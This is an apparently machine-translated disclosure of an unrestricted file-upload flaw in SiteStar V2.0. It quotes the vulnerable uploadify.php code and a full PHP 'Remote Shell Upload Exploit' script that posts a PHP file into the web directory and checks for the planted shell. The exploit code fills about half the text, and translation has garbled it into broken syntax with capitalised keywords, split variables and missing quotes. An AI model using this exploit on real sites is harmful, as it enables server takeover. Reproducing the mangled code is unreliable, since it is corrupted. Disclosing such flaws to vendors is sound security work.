Security issues of site building star SiteStar V2.0

Author: cnryan @ http://hi.baidu.com/cnryan

[1] vulnerability Overview:

SiteStar V2.0 does not properly restrict file upload. Remote attackers may exploit this vulnerability to upload arbitrary files to the Web directory, which leads to arbitrary command execution on the server.

[2] vulnerability analysis:

The vulnerability is generated in the/script/multiupload/uploadify. php file:
<? Php
If (! Empty ($ _ FILES )){
$ TempFile = $ _ FILES [Filedata] [tmp_name];
$ TargetPath = $ _ SERVER [DOCUMENT_ROOT]. $ _ POST [folder]./;
$ TargetFile = str_replace (//,/, $ targetPath). $ _ FILES [Filedata] [name];
// Solve the problem of garbled Windows Chinese file names
If (preg_match ("/^ WIN/I", PHP_ OS )){
$ TargetFile = iconv (UTF-8, GBK, $ targetFile );
}
Move_uploaded_file ($ tempFile, $ targetFile );
Echo "1 ";
}
?>
Nothing to say, low-level mistakes. By constructing an html form, you can directly upload webshell to the web directory. Below is a piece of test code.

[3] test code:

<?
Print_r (
+ --------------------------------------------------------------------------- +
SiteStar V2.0 Remote Shell Upload Exploit
By cnryan
Mail: cnryan2008 [at] gmail [dot] com
Blog: http://hi.baidu.com/cnryan
+ --------------------------------------------------------------------------- +
);
If ($ argc <3)
{
Print "Usage: php $ argv [0] host path ";
Print "Example: php $ argv [0] localhost/sitestar /";
Die ();
}
Error_reporting (0 );
Set_time_limit (0 );
$ Host = $ argv [1];
$ Path = $ argv [2];
$ Shell = http: //. $ host. $ path. cnryan. php;
$ Payload = "----- cnryan ";
$ Payload. = "Content-Disposition: form-data; name =" Filedata "; filename =" cnryan. php "";
$ Payload. = "Content-Type: application/octet-stream ";
$ Payload. = "<? Php phpinfo ();?> W.S. T ----- cnryan ";
$ Payload. = "Content-Disposition: form-data; name =" upload "";
$ Payload. = "----- cnryan ";
$ Payload. = "Content-Disposition: form-data; name =" folder "";
$ Payload. = "$ path ";
$ Payload. = "----- cnryan --";
$ Packet = "POST {$ path}/script/multiupload/uploadify. php HTTP/1.0 ";
$ Packet. = "Host: {$ host }";
$ Packet. = "Connection: keep-alive ";
$ Packet. = "Content-Type: multipart/form-data; boundary = --- cnryan ";
$ Packet. = "Content-Length:". strlen ($ payload )."";
$ Packet. = $ payload;
$ Fp = fsockopen ($ host, 80 );
Fputs ($ fp, $ packet );

Sleep (5 );
$ Str = file_get_contents ($ shell );
If (strpos ($ str, ipvs. T ))
Exit ("OK! Got shell: $ shell ");
Else
Exit ("Exploit Failed! ");
?>

[4] vulnerability status:

The vulnerability has been notified to the vendor.

[5] vendor reply:

Thank you for your feedback. Thank you!